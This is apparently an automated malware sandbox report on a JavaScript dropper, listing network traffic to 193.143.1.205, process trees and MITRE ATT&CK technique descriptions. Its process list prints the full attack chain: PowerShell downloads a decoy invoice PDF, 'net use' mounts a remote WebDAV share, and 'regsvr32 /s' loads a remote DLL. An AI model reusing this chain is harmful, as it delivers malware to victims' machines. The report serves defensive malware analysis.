Jan 15, 2025 08:41:06.777302027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.777307034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.800594091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.800646067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.800652981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.800697088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.800745010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.800815105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.800828934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.800847054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.800856113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.800880909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.800914049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.800918102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.800947905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.800980091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.800985098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.801045895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.801079035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.801084995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.801110983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.801146984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.801147938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.834455967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.834503889 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.834526062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.834577084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.834609032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.834616899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.834641933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.834675074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.834681988 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.834707975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.834741116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.834747076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.834774017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.834805965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.834841013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.834858894 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.834884882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:06.834887981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.881042004 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.895710945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:06.901928902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:07.006695032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:07.437011003 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:07.443542004 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:07.443613052 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:07.445337057 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:07.451430082 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:08.257814884 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 15, 2025 08:41:08.303019047 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 15, 2025 08:41:09.715624094 CET	49700	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 08:41:20.329821110 CET	61821	53	192.168.2.7	1.1.1.1
Jan 15, 2025 08:41:32.491656065 CET	55145	53	192.168.2.7	1.1.1.1
Jan 15, 2025 08:41:56.179642916 CET	63313	53	192.168.2.7	1.1.1.1
Jan 15, 2025 08:42:20.288675070 CET	59946	53	192.168.2.7	1.1.1.1
Jan 15, 2025 08:42:44.366666079 CET	64408	53	192.168.2.7	1.1.1.1
Jan 15, 2025 08:43:08.429174900 CET	57021	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 08:41:20.329821110 CET	192.168.2.7	1.1.1.1	0x124b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:41:32.491656065 CET	192.168.2.7	1.1.1.1	0xbe1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:41:56.179642916 CET	192.168.2.7	1.1.1.1	0x1a7f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:42:20.288675070 CET	192.168.2.7	1.1.1.1	0x9120	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:42:44.366666079 CET	192.168.2.7	1.1.1.1	0x3068	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:43:08.429174900 CET	192.168.2.7	1.1.1.1	0x9650	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 08:41:19.435770988 CET	1.1.1.1	192.168.2.7	0xdbc8	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:41:19.435770988 CET	1.1.1.1	192.168.2.7	0xdbc8	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:41:20.337323904 CET	1.1.1.1	192.168.2.7	0x124b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 08:41:32.498855114 CET	1.1.1.1	192.168.2.7	0xbe1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 08:41:56.187120914 CET	1.1.1.1	192.168.2.7	0x1a7f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 08:42:20.296300888 CET	1.1.1.1	192.168.2.7	0x9120	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 08:42:44.375694990 CET	1.1.1.1	192.168.2.7	0x3068	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 08:43:08.439749002 CET	1.1.1.1	192.168.2.7	0x9650	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	2608	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:41:05.265185118 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 15, 2025 08:41:06.079044104 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Wed, 15 Jan 2025 07:41:05 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 15, 2025 08:41:06.079108000 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 15, 2025 08:41:06.079144001 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 15, 2025 08:41:06.079179049 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 15, 2025 08:41:06.079216003 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 15, 2025 08:41:06.079250097 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 15, 2025 08:41:06.079283953 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 15, 2025 08:41:06.079344988 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 15, 2025 08:41:06.079391003 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 15, 2025 08:41:06.079428911 CET	376	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 15, 2025 08:41:06.141361952 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	193.143.1.205	8888	4684	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:41:07.445337057 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 15, 2025 08:41:08.257814884 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Wed, 15 Jan 2025 07:41:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:41:01
Start date:	15/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2387315401298627745.js"
Imagebase:	0x7ff6987a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:41:02
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll
Imagebase:	0x7ff691070000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:41:02
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:41:02
Start date:	15/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:41:05
Start date:	15/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	02:41:05
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff691070000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:41:05
Start date:	15/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff65d3d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:41:06
Start date:	15/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	02:41:06
Start date:	15/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	02:41:06
Start date:	15/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1608,i,13700895325727442349,3892302688026837991,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

